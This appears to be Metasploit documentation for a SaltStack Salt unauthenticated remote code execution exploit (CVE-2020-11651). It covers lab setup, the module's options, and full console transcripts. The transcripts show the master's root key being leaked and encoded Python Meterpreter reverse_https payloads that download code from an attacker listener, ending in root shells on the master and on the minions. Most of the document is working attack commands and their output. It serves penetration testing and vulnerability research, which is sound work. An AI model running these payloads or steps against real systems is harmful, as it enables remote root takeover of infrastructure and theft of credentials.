14 KiB
Vulnerable Application
Description
This module exploits unauthenticated access to the runner() and
_send_pub() methods in the SaltStack Salt master's ZeroMQ request
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
execute code as root on either the master or on select minions.
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known to be affected by the Salt vulnerabilities.
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker image.
Setup
Note: I did the bulk of my testing after manually installing Salt in an Ubuntu 18.04 VM, but the Docker image from Vulhub may be quicker. YMMV.
Using a virtual machine
- Set up an Ubuntu 18.04 VM
- Browse to SaltStack's instructions for Ubuntu
- Select
Pin to Minor Releaseand change all versions to either 2019.2.3 or 3000.1, depending on the version you wish to test - Follow the instructions, installing only the
salt-masterandsalt-minionpackages necessary for testing - Follow the post-installation configuration
You may now begin testing.
Using Docker
Prerequisites: Docker and Docker Compose must be installed first.
Note: The Salt master is already configured and running in the following scenario. The majority of the steps below are for configuring and starting the minion. Version 2019.2.3 will be used.
- Run
git clone https://github.com/vulhub/vulhub - Run
cd vulhub/saltstack/CVE-2020-11651 - Run
docker-compose up -dto start the container in the background - Run
docker exec -it cve-2020-11651_saltstack_1 bashto drop to a root shell inside the container - Run
echo $'127.0.0.1\tsalt' >> /etc/hoststo add the master to/etc/hosts(this allows the minion to find the master) - Run
salt-minion -dto execute the minion in the background - Run
salt-key -Aand accept the key for the minion
You may now begin testing.
Verification Steps
Targets
Master (Python payload)
This executes a Python payload on the master(s) specified by RHOST(S).
Master (Unix command)
This executes a Unix command payload on the master(s) specified by
RHOST(S).
Minions (Python payload)
This executes a Python payload on the minions specified by the MINIONS
option.
Minions (Unix command)
This executes a Unix command payload on the minions specified by the
MINIONS option.
Options
ROOT_KEY
If you already have the master's root key, you may set it in this option. Note that the master regenerates the root key on each startup.
MINIONS
This is the PCRE regex of minions to execute the payload on. Defaults to
.* for all minions.
WfsDelay
Set this to the number of seconds to wait for all sessions to come in. Defaults to 10 seconds, though the exploit may wait up to 20 seconds.
Scenarios
SaltStack Salt 2019.2.3 on Ubuntu 18.04
Executing Python payload on the master
msf > use exploit/linux/misc/saltstack_salt_unauth_rce
msf exploit(linux/misc/saltstack_salt_unauth_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Master (Python payload)
1 Master (Unix command)
2 Minions (Python payload)
3 Minions (Unix command)
msf exploit(linux/misc/saltstack_salt_unauth_rce) > options
Module options (exploit/linux/misc/saltstack_salt_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
MINIONS .* yes PCRE regex of minions to target
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
ROOT_KEY no Master's root key if you have it
RPORT 4506 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Master (Python payload)
msf exploit(linux/misc/saltstack_salt_unauth_rce) > set rhosts 172.28.128.5
rhosts => 172.28.128.5
msf exploit(linux/misc/saltstack_salt_unauth_rce) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf exploit(linux/misc/saltstack_salt_unauth_rce) > run
[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Using auxiliary/gather/saltstack_salt_root_key as check
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Yeeting _prep_auth_info() at 172.28.128.5:4506
[+] 172.28.128.5:4506 - Received serialized auth info
[+] 172.28.128.5:4506 - Root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk=
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the master: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting runner() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"runner", "fun"=>"salt.cmd", "kwarg"=>{"hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "fun"=>"cmd.exec_code", "lang"=>"python", "code"=>"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))"}, "user"=>"root", "key"=>"bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk="}
[+] 172.28.128.5:4506 - Received runner() response: "\x01\x00\x00<\x82\xA3jid\xB420200510102113141303\xA3tag\xBDsalt/run/20200510102113141303"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: kwpadl1s) Staging python payload (53902 bytes) ...
[*] Meterpreter session 1 opened (172.28.128.1:8443 -> 172.28.128.5:48236) at 2020-05-10 05:21:15 -0500
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ubuntu-bionic
OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
Executing Python payload on the minions
msf exploit(linux/misc/saltstack_salt_unauth_rce) > set target Minions\ (Python\ payload)
target => Minions (Python payload)
msf exploit(linux/misc/saltstack_salt_unauth_rce) > run
[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the minions: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting _send_pub() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"_send_pub", "kwargs"=>{"bg"=>true, "hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "show_jid"=>false, "show_timeout"=>false}, "user"=>"root", "tgt"=>".*", "tgt_type"=>"pcre", "jid"=>"20200510102150723893", "fun"=>"cmd.exec_code", "arg"=>["python", "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))"]}
[+] 172.28.128.5:4506 - Received _send_pub() response: "\x01\x00\x00\x01\xC0"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: foe5rluh) Staging python payload (53883 bytes) ...
[*] Meterpreter session 2 opened (172.28.128.1:8443 -> 172.28.128.5:48388) at 2020-05-10 05:21:51 -0500
[+] 172.28.128.5:4506 - Deleted /var/cache/salt/minion/proc/20200510102150723893
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ubuntu-bionic
OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >